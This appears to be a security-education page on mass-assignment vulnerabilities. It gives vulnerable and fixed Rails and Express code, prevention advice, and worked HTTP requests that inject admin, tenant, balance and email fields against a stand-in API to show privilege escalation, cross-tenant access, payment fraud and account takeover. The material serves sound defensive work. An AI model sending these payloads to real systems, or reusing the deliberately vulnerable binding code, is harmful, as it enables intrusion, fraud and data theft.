Mass Assignment
Mass Assignment at a glance
Overview
Mass assignment happens when frameworks or ORMs map request parameters onto object fields automatically. If the mapping includes privileged fields, an attacker can set them by adding those fields to the request. Common examples are role escalation, setting is_admin, changing tenant_id, or flipping is_staff through automatically bound models or serializers.
Where it occurs
It appears in controllers that pass request bodies directly to update or save, in serializers configured with fields='all', in entity binding of @RequestBody payloads, or when a model has wide write access by default. Multi-tenant systems are especially at risk when tenant_id is writable.
Impact
Attackers can escalate privileges, access other tenants' data, alter billing plans, or grant themselves capabilities reserved for admins or staff. Since changes look like normal updates, incidents can be subtle and long lived.
Prevention
Use explicit allow lists. Bind to narrow DTOs or strong parameter sets and copy fields individually. Mark sensitive fields read-only. Validate authorization at the service or data layer and ignore client-supplied tenant or role identifiers. Add tests that try to set privileged fields and ensure they are rejected or ignored.
Examples
Switch tabs to view language/framework variants.
Rails, mass assignment lets users elevate role via params
Controller passes user-controlled params to update, so protected attributes like role can be changed.
class UsersController < ApplicationController
def update
@user = current_user
@user.update(params[:user]) # BUG
render json: { ok: true }
end
end- Line 4: Unfiltered params enable writing to protected attributes
Rails will assign any attributes present unless you filter them. Attackers add privileged fields to the JSON.
class UsersController < ApplicationController
def update
@user = current_user
@user.update(user_params)
render json: { ok: true }
end
private
def user_params
params.require(:user).permit(:display_name, :bio)
end
end- Line 9: Strong parameters allow only explicit fields
Use strong parameters and never rely on client-side hidden fields to protect sensitive attributes.
Engineer Checklist
-
Bind to narrow DTOs or use strong parameter allow lists
-
Mark privileged fields read-only and remove public setters
-
Never accept tenant_id, role, or is_admin from clients
-
Enforce authorization at service or data layer, not only in controllers
-
Add negative tests that try to set privileged fields and must fail
End-to-End Example
A profile edit endpoint accepts JSON and uses automatic binding to update the user entity. Attackers include is_admin in the payload and the change persists. The activity blends in with normal traffic.
// Node.js/Express + Mongoose - Vulnerable mass assignment
app.put('/api/users/me', authenticateToken, async (req, res) => {
try {
const userId = req.user.id;
// VULNERABLE: Directly passing request body to model update
// Attacker can send: { name: "Bob", is_admin: true, role: "admin", balance: 999999 }
// All fields get updated without filtering!
const updatedUser = await User.findByIdAndUpdate(
userId,
req.body, // DANGEROUS - accepts any field from client
{ new: true, runValidators: true }
);
res.json({
id: updatedUser.id,
name: updatedUser.name,
email: updatedUser.email,
role: updatedUser.role,
is_admin: updatedUser.is_admin
});
} catch (err) {
res.status(500).json({ error: 'Server error' });
}
});
// ALSO VULNERABLE: Django REST Framework with fields='__all__'
app.post('/api/accounts', authenticateToken, async (req, res) => {
// VULNERABLE: Binding all request fields to model
// If schema has tenant_id, user can set it to access other tenants
const account = new Account(req.body); // Mass assigns all fields
account.owner_id = req.user.id; // Too late! tenant_id already set
await account.save();
res.json(account);
});// Node.js/Express + Mongoose - SECURE with whitelisted fields
app.put('/api/users/me', authenticateToken, async (req, res) => {
try {
const userId = req.user.id;
// SECURE: Explicitly whitelist allowed fields
const allowedFields = ['name', 'email', 'bio', 'avatar_url'];
const updateData = {};
for (const field of allowedFields) {
if (req.body[field] !== undefined) {
updateData[field] = req.body[field];
}
}
// Only whitelisted fields are updated
const updatedUser = await User.findByIdAndUpdate(
userId,
updateData,
{ new: true, runValidators: true }
);
res.json({
id: updatedUser.id,
name: updatedUser.name,
email: updatedUser.email,
bio: updatedUser.bio
});
} catch (err) {
res.status(500).json({ error: 'Server error' });
}
});
// ALTERNATIVE: Use DTO/validation library
const { body, validationResult } = require('express-validator');
app.put('/api/users/me',
authenticateToken,
// Define exactly which fields are allowed
body('name').optional().isString().trim().isLength({ min: 1, max: 100 }),
body('email').optional().isEmail().normalizeEmail(),
body('bio').optional().isString().isLength({ max: 500 }),
async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
const userId = req.user.id;
const { name, email, bio } = req.body;
// Only validated fields are accessible
const updatedUser = await User.findByIdAndUpdate(
userId,
{ name, email, bio },
{ new: true }
);
res.json(updatedUser);
}
);
// SECURE: Multi-tenant with protected tenant_id
app.post('/api/accounts', authenticateToken, async (req, res) => {
const userId = req.user.id;
const userTenantId = req.user.tenant_id; // From authenticated session
// SECURE: Only accept safe fields, set tenant_id from session
const account = new Account({
name: String(req.body.name || ''),
description: String(req.body.description || ''),
// CRITICAL: Set tenant_id from authenticated user, NOT from request
tenant_id: userTenantId,
owner_id: userId
});
await account.save();
res.json(account);
});Discovery
This vulnerability is discovered by inspecting request parameters accepted by create/update endpoints and testing whether adding unexpected fields (like is_admin=true or role=administrator) modifies protected attributes that should not be user-controllable.
-
1. Baseline profile update
httpAction
Submit normal profile update to establish baseline
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer user_token_xyzBody:{ "name": "John Doe", "email": "john@example.com" }Response
Status: 200Body:{ "user": { "id": "user_123", "name": "John Doe", "email": "john@example.com", "role": "user", "is_admin": false }, "message": "Profile updated" }Artifacts
baseline_established accepted_fields_identified -
2. Test privilege field injection
httpAction
Inject is_admin and role fields
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer user_token_xyzBody:{ "name": "John Doe", "email": "john@example.com", "is_admin": true, "role": "administrator" }Response
Status: 200Body:{ "user": { "id": "user_123", "name": "John Doe", "email": "john@example.com", "role": "administrator", "is_admin": true }, "message": "Profile updated", "note": "Mass assignment vulnerability! Privileged fields accepted without validation" }Artifacts
mass_assignment_confirmed privilege_escalation admin_access_granted -
3. Test tenant_id manipulation
httpAction
Attempt to switch to different tenant/organization
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer user_token_xyzBody:{ "name": "John Doe", "tenant_id": "competitor_tenant_999", "organization_id": "target_org_456" }Response
Status: 200Body:{ "user": { "id": "user_123", "tenant_id": "competitor_tenant_999", "organization_id": "target_org_456", "accessible_data": "Now viewing competitor's data" }, "note": "Tenant isolation bypassed via mass assignment" }Artifacts
tenant_isolation_bypass cross_tenant_access organization_switch -
4. Test financial field manipulation
httpAction
Modify balance, credits, or subscription tier
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer user_token_xyzBody:{ "name": "John Doe", "balance": 999999.99, "credits": 999999, "subscription_tier": "enterprise" }Response
Status: 200Body:{ "user": { "balance": 999999.99, "credits": 999999, "subscription_tier": "enterprise", "features_unlocked": [ "unlimited_api_calls", "premium_support", "advanced_analytics" ] }, "note": "Payment bypass! Account credited without transaction" }Artifacts
payment_bypass balance_manipulation subscription_fraud
Exploit steps
An attacker exploits this by injecting privileged fields into update requests (e.g., {email: 'new@example.com', is_admin: true}) to escalate privileges, bypass payment requirements, or manipulate internal state.
-
1. Escalate to administrator
Grant full admin privileges
httpAction
Set is_admin=true and role=administrator via mass assignment
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer attacker_tokenBody:{ "name": "Attacker", "email": "attacker@evil.com", "is_admin": true, "role": "administrator", "is_superuser": true, "permissions": [ "*" ] }Response
Status: 200Body:{ "user": { "id": "user_789", "is_admin": true, "role": "administrator", "is_superuser": true, "permissions": [ "*" ] }, "admin_panel_url": "https://app.example.com/admin", "note": "Full administrator access granted" }Artifacts
privilege_escalation admin_access superuser_privileges unrestricted_permissions -
2. Cross-tenant data breach
Switch to victim tenant
httpAction
Change tenant_id to access competitor organization's data
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer attacker_tokenBody:{ "tenant_id": "victim_corp_123", "organization_id": "victim_org" }Response
Status: 200Body:{ "user": { "tenant_id": "victim_corp_123", "accessible_data": { "customers": 15430, "revenue": "$12.5M", "projects": [ "Confidential Project X", "Secret Initiative Y" ], "employees": 250 } }, "note": "Complete access to victim tenant's data" }Artifacts
tenant_isolation_breach cross_tenant_data_access competitor_intelligence confidential_data_exposed -
3. Financial fraud via balance manipulation
Grant unlimited account balance
httpAction
Set balance and credits to bypass payment requirements
Request
PUT https://api.example.com/api/users/meHeaders:Content-Type: application/jsonAuthorization: Bearer attacker_tokenBody:{ "balance": 999999.99, "credits": 999999, "subscription_tier": "enterprise", "payment_verified": true, "lifetime_subscription": true }Response
Status: 200Body:{ "user": { "balance": 999999.99, "credits": 999999, "subscription_tier": "enterprise", "payment_verified": true }, "fraud_impact": "$999,999.99 in fraudulent credits", "revenue_loss": "Potential millions if exploited at scale" }Artifacts
payment_fraud revenue_loss subscription_bypass financial_manipulation -
4. Account takeover via email modification
Hijack another user's account
httpAction
Include user_id in request to modify victim's email address
Request
PUT https://api.example.com/api/users/updateHeaders:Content-Type: application/jsonAuthorization: Bearer attacker_tokenBody:{ "user_id": "victim_user_456", "email": "attacker@evil.com", "email_verified": true, "mfa_enabled": false }Response
Status: 200Body:{ "message": "User updated", "user": { "id": "victim_user_456", "email": "attacker@evil.com", "email_verified": true, "mfa_enabled": false }, "attack_path": "Password reset sent to attacker@evil.com → Full account takeover" }Artifacts
account_takeover email_hijack mfa_bypass victim_lockout
Specific Impact
Unauthorized role elevation lets attackers access admin panels and sensitive data. If tenant_id is writable, cross-tenant data exposure can occur silently.
Incident response is complicated because the changes appear as normal updates, so detection relies on policy checks and audit logs.
Fix
Introduce input DTOs or strong parameters and copy fields explicitly. Mark privileged fields as read-only at the model or serializer level. Enforce authorization in the service layer and add negative tests to prevent regressions.
Detect This Vulnerability in Your Code
Sourcery automatically identifies mass assignment vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free